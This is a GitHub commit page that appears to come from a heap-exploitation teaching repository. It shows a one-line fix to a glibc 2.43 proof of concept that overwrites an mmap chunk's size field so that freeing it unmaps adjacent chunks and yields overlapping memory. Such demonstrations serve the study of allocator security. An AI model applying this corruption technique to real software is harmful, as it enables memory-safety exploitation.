Skip to content

Commit 3db4c06

Browse files
committed
fix mmap_overlapping_chunks.c
1 parent 693fbac commit 3db4c06

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

glibc_2.43/mmap_overlapping_chunks.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ int main()
8989

9090
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
9191
// Additionally, this same attack can be used with the prev_size instead of the size.
92-
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
92+
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2 + 0x10;
9393
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
9494
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
9595

0 commit comments

Comments
 (0)